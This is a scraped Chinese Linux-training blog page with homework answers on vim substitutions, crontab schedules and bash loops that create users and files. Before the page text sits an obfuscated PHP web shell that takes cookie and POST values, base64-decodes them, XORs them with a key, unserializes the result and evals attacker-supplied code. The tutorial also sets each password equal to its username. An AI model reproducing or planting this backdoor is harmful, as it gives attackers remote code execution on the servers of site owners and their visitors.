$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux基础知识(六)-vim编辑器,crontab计划任务,bash脚本循环 | Linux运维部落

Linux基础知识(六)-vim编辑器,crontab计划任务,bash脚本循环

1、复制/etc/rc.d/rc.sysinit文件至/tmp目录,将/tmp/rc.sysinit文件中的以至少一个空白字符开头的行的行首加#;

[root@localhost ~]# cp /etc/rc.d/rc.sysinit /tmp
[root@localhost ~]# vim /tmp/rc.sysinit
:%s@^[[:space:]]\+@#&@g
# %表示全文,@分隔符,&表示前面匹配到的全部文本,g表示全局

2、复制/boot/grub/grub.conf至/tmp目录中,删除/tmp/grub.conf文件中的行首的空白字符;

:%s@^[[:space:]]\+@@g

3、删除/tmp/rc.sysinit文件中的以#开头,且后面跟了至少一个空白字符的行行的#和空白字符;

:%s@^#[[:space:]]\+@@g

4、为/tmp/grub.conf文件中前三行的行首加#号;

:1,3s@.*@#&@

5、将/etc/yum.repos.d/CentOS-Media.repo文件中所有的enabled=0或gpgcheck=0的最后的0修改为1;

:%s@\(enabled\|gpgcheck\)=0@\1=1@g

6、每4小时执行一次对/etc目录的备份,备份至/backup目录中,保存的目录名为形如etc-201504020202;

* */4 * * * cp /etc /backup/etc-$(date +%Y%m%d%H%M) &> /dev/null

7、每周2,4,6备份/var/log/messages文件至/backup/messages_logs/目录中,保存的文件名形如messages-20150402;

* * * * 2,4,6 cp /var/log/messages /backup/messages_logs/messages-$(date +%Y%m%d) &> /dev/null

8、每天每两小时取当前系统/proc/meminfo文件中的所有以S开头的信息至/stats/memory.txt文件中;

[root@localhost ~]# mkdir /stats
[root@localhost ~]# touch /stats/memory.txt
* */2 * * * cat /proc/meminfo | grep "^[S|s]" >> /stats/memory.txt

9、工作日的工作时间内,每两小时执行一次echo "howdy";

* 9-18/2 * * 1-5 echo "howdy"

脚本编程练习:
10、创建目录/tmp/testdir-当前日期时间;

#!/bin/bash
mkdir /tmp/testdir-$(date +%F%H%M%S)

11、在此目录创建100个空文件:file1-file100;

#!/bin/bash
dirname=testdir-$(date +%F%H%M%S)       #要求是在此目录存放,所以应当记录这个变量
mkdir /tmp/$dirname
touch /tmp/$dirname/file{1..100}

12、显示/etc/passwd文件中位于第偶数行的用户的用户名;
命令:

sed -n 'n;p' /etc/passwd |awk -F: '{print $1}'

脚本:

#!/bin/bash
#显示偶数行的用户的用户名
for i in $(seq 2 2 100); do
        sed -n ${i}p /etc/passwd | cut -d: -f1
done    
echo -----------或者------------
awk "NR%2==0" /etc/passwd | cut -d":" -f1

13、创建10用户user10-user19;密码同用户名;

#!/bin/bash
#创建10个用户user10-user19,密码同用户名
for((i=10;i<=19;i++)) {
    useradd user$i
    if [ $? -eq 0  ]; then
         echo user$i | passwd --stdin user$i &> /dev/null
         echo "user$i用户添加成功" 
    else
        echo "user$i 用户添加失败"
    fi
    
}
###或者###
for i in {10..19};
do
useradd user$i
if [ $? -eq 0  ]; then
     echo user$i | passwd --stdin user$i &> /dev/null
     echo "user$i用户添加成功" 
else
    echo "user$i 用户添加失败"
 fi
done

1477847002177.jpg

14、在/tmp/创建10个空文件file10-file19;

touch /tmp/file{10..19}

15、把file10的属主和属组改为user10,依次类推。

#!/bin/bash
#批量修改文件的属组,属主,修改为和文件名一样的.
for i in {10..19};
do
    touch /tmp/file$i
    if [ $? -eq 0 ];then
        echo "file$i文件创建成功"
        chown user$i:user$i /tmp/file$i
        if [ $? -eq 0  ];then
             echo "file$i属组属主修改成功:$(ls -li /tmp/file$i)"
        else
             echo "file$i属组修改失败"
        fi
    else
        echo "file$i文件创建失败"
    fi
done

原创文章,作者:luoluo,如若转载,请注明出处:http://www.178linux.com/56373

(0)
上一篇 2016-10-31 00:40
下一篇 2016-10-31 07:11

相关推荐

  • 多方面修复linux系统

    在这篇文章,您将看到以下方面的修复方法: ●内核文件和虚拟 ●grub.conf ●grub目录 ●boot分区 ●fstab文件 ●root密码破解   首先,要想很愉快的修复linux启动的各种问题,就必然要把linux的启动流程搞清楚。 1. 加载 BIOS 的硬件信息和进行自我测试,并依据设定取得第一个可开机的装置; 2. 读取并执行第一个…

    Linux干货 2016-09-13
  • 系统日志和loganalyzer

    作为运维人员,熟悉系统日志是一项基本功。本文将介绍centos6的系统日志rsyslog及loganalyzer工具。 简介 系统日志:记录历史事件,通常都是按时间顺序将发生的事件予以记录,linux上的日志分为syslogd(系统进程相关日志)和klogd(内核事件日志) centos5:syslog    缺点:不能进行并行数据存储,…

    Linux干货 2016-03-20
  • 正则表达式

    1、复制/etc/skel目录为/home/tuser1,要求/home/tuser1及其内部文件的属组和其他用户都没有任何访问权限 [root@localhost ~]#  mkdir /home/tuser1======>创建/home/tuser1目录 [root@localhost ~]#   cp  -a  /etc/skel/   /hom…

    2017-10-10
  • PXE原理详解及实践

    一、PXE简介 PXE(preboot execute environment,预启动执行环境)是由Intel公司开发的最新技术,工作于Client/Server的网络模式,支持工作站通过网络从远端服务器下载映像,并由支持通过网络启动操作系统,再启动过程中,终端要求服务器分配IP地址,再用TFTP(trivial file transfer protocol…

    Linux干货 2017-01-10
  • CentOS 7 RPM包方式安装LAMP

    细节要求: (1) 三者分离于两台主机; (2) 一个虚拟主机用于提供phpMyAdmin;另一个虚拟主机用于提供wordpress; (3) 提供xcache加速; (4) 为phpMyAdmin提供https虚拟主机; 一、准备CentOS 7主机环境以及Repo仓库提供基于rpm安装包方式的程序包安装源 安装主机程序包规划: 主机1:web-serve…

    Linux干货 2017-02-16
  • Python内置数据结构——集合set

    集合 定义 set翻译为集合 collection翻译为集合类型,是一个较大的概念 set是一个可变的、无序的、不重复的元素组成的集合 set的元素要求必须可以hash,目前已学的不可hash的类型只有list、set 元素不可以索引 set可以迭代 set的初始化 set_1 =set() #表示定义一个空集合set_1 set_1 =set(iterab…

    Linux干货 2017-10-03

评论列表(1条)

  • 马哥教育
    马哥教育 2016-11-01 22:35

    完成的非常好,6、8、9题需要精确到分钟,7题需要精确到分钟、小时哈,加油!